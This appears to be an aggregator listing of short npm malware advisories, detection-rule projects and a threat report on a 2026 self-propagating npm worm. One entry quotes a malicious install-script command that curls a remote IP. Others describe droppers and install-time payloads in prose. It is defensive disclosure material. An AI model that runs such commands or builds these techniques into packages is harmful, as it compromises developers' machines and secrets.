Package-Inferno

PackageInferno Blazingly simple, Docker‑first npm supply‑chain scanner. One compose file runs: Enumerator → builds the queue of packages Fetcher → downloads tarballs and optionally uploads to S3 Analyzer → static analysis + optional YARA Postgres → local DB for findings Streamlit Dashboard →...

aiagent-detection-rules

aiagent-detection-rules Reglas de detección Sigma, Splunk, Elastic y YARA para la filtración del código fuente de Claude Code 31 de marzo de 2026 y el ataque concurrente a la cadena de suministro de npm. El 31 de marzo de 2026, Anthropic envió accidentalmente un source map mal configurado en...

Malicious code in sm-session (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ef638f6aa70fe3af65e927efad452743a47f30a2aead95446181742704d9bd24 package.json declares preinstall and postinstall lifecycle scripts that each run curl -s http://16.192.173.5/sm-session/pre and curl -s...

Malicious code in ranux-dev (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4dde928a7de2064f13b18847a56607605bd33f1331a57bb0be0ccf585fa5d86f package.json declares the dependency @whiskeysockets/baileys but resolves it from github:rcedubot/X instead of the npm registry. Installing ranux-dev...

MAL-2026-14217 Malicious code in ai-texts (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 3f70364834c6aa09fed4520d6144867e921c75f416d315addf2ec3b28a92d2e4 The package advertises itself as text helpers for AI pipelines toText/normalizeText but src/index.js unconditionally invokes a dropper at module top...

MAL-2026-14129 Malicious code in plugin-react-vite (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c1c068ede55759ccbff349be0990eab7756ca43a5eed8a60a805e69e8c32626a The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

Malicious code in depcruise-wrap-stream-in-html (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector bce3c6c9707df3626f30cbf434aa298d1df5cda4cf7b06b76ad4c92d04004a1c [email protected] is a hollow package: index.js is module.exports = and the name mimics an internal helper of dependency-cruiser...

MAL-2026-14065 Malicious code in akamai-sensor (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f1a8cc3668ec9751c1ef60bf602f1e08f2f2fdf8dce999e442c484458f932178 Package published under a name impersonating Akamai's sensordata anti-bot SDK. index.js contains a /... / comment whose body is encoded in invisible...

Malicious code in @dsp-next-gen-ui/needs-review (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 4d60392260c683ff8714400794f5f621a8c040ba0846b9fabdd194c0e6fb76b6 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

MAL-2026-13955 Malicious code in mutex-forge (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector d3e6d6c8a6e7f9463fa8a07604b4699b1dba8415ee6759e3145b0cab183f4421 The package presents itself as a mutex/semaphore library but contains a hidden second-stage loader in lib/Mutex.js. When runExclusive is invoked with...

Malicious code in base65-13x (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 59226f2c38efcc1dd5de6423edfc866125564cd726915307d7a05ca5b5f13529 [email protected] impersonates cryptocoinjs/base-x, reusing its README, homepage, and API surface, but the exported decodestring function in both...

Malicious code in camelot-ammv2-periphery (npm)

camelot-ammv2-periphery is a malicious npm package that impersonates Camelot DEX's AMM v2 periphery contracts. It carries no legitimate functionality; the published tarball contains only a package.json and an install-time payload index.js. Both preinstall and postinstall run node index.js || true...

Malicious code in camelot-ammv2-core (npm)

camelot-ammv2-core is a malicious npm package that impersonates Camelot DEX's AMM v2 core contracts. It carries no legitimate functionality; the published tarball contains only a package.json and an install-time payload index.js. Both preinstall and postinstall run node index.js || true, so the...

@ccfly/setup (0.1.2) potentially affected by unknown CVE via @ccfly/setup-linux-x64 (0.1.2)

@ccfly/setup-linux-x64 NPM version 0.1.2 is affected by a known vulnerability. The following packages have a transitive dependency on @ccfly/setup-linux-x64 and may be impacted: - @ccfly/setup 0.1.2 Source cves: unknown CVE Source advisory: OSV:MAL-2026-13418...

@ccfly/setup (0.1.14) potentially affected by unknown CVE via @ccfly/setup-darwin-x64 (0.1.14)

@ccfly/setup-darwin-x64 NPM version 0.1.14 is affected by a known vulnerability. The following packages have a transitive dependency on @ccfly/setup-darwin-x64 and may be impacted: - @ccfly/setup 0.1.14 Source cves: unknown CVE Source advisory: OSV:MAL-2026-12313...

ChainDrop supply chain compromise: Anatomy of a self-propagating worm

In this article 1. Attack chain overview 2. Mitigation and protection guidance 3. Indicators of compromise IOC 4. Microsoft Defender XDR detections 5. Advanced hunting queries 6. Learn more Microsoft Threat Intelligence identified a large-scale npm supply chain attack affecting more than 400...

MAL-2026-11791 Malicious code in @qlik/embed-svelte (npm)

npm/@qlik/embed-svelte is affected by the large-scale, self-propagating npm supply-chain worm of 2026-08-04 the "Shai-Hulud: Here We Go Again" wave — the same campaign that began with the compromise of the keyv and cacheable maintainer account. The listed versions were trojanized and republished ...

MAL-2026-11801 Malicious code in @qlik/prettier-config (npm)

npm/@qlik/prettier-config is affected by the large-scale, self-propagating npm supply-chain worm of 2026-08-04 the "Shai-Hulud: Here We Go Again" wave — the same campaign that began with the compromise of the keyv and cacheable maintainer account. The listed versions were trojanized and republish...

MAL-2026-11796 Malicious code in @qlik/eslint-config-svelte (npm)

npm/@qlik/eslint-config-svelte is affected by the large-scale, self-propagating npm supply-chain worm of 2026-08-04 the "Shai-Hulud: Here We Go Again" wave — the same campaign that began with the compromise of the keyv and cacheable maintainer account. The listed versions were trojanized and...

MAL-2026-11867 Malicious code in @servicetitan/feature-spotlight (npm)

npm/@servicetitan/feature-spotlight is affected by the large-scale, self-propagating npm supply-chain worm of 2026-08-04 the "Shai-Hulud: Here We Go Again" wave — the same campaign that began with the compromise of the keyv and cacheable maintainer account. The listed versions were trojanized and...